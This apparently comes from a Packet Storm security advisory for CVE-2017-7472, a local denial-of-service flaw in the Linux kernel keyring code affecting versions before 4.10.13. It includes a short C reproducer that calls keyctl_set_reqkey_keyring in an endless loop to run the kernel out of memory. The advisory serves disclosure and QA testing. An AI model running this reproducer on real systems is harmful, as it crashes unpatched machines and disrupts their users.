Linux Kernel keyctl_set_reqkey_keyring Denial Of Service

Linux Kernel versions prior to 4.10.13 suffer from a keyctl_set_reqkey_keyring local denial of service vulnerability.

MD5 | 5537c76b901295124a6a34e3ee846129

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/*
Source: https://bugzilla.novell.com/show_bug.cgi?id=1034862
QA REPRODUCER:
 
gcc -O2 -o CVE-2017-7472 CVE-2017-7472.c -lkeyutils
./CVE-2017-7472
 
(will run the kernel out of memory)
*/
#include <sys/types.h>
#include <keyutils.h>
 
int main()
{
    for (;;)
        keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING);
}

Source: packetstormsecurity.com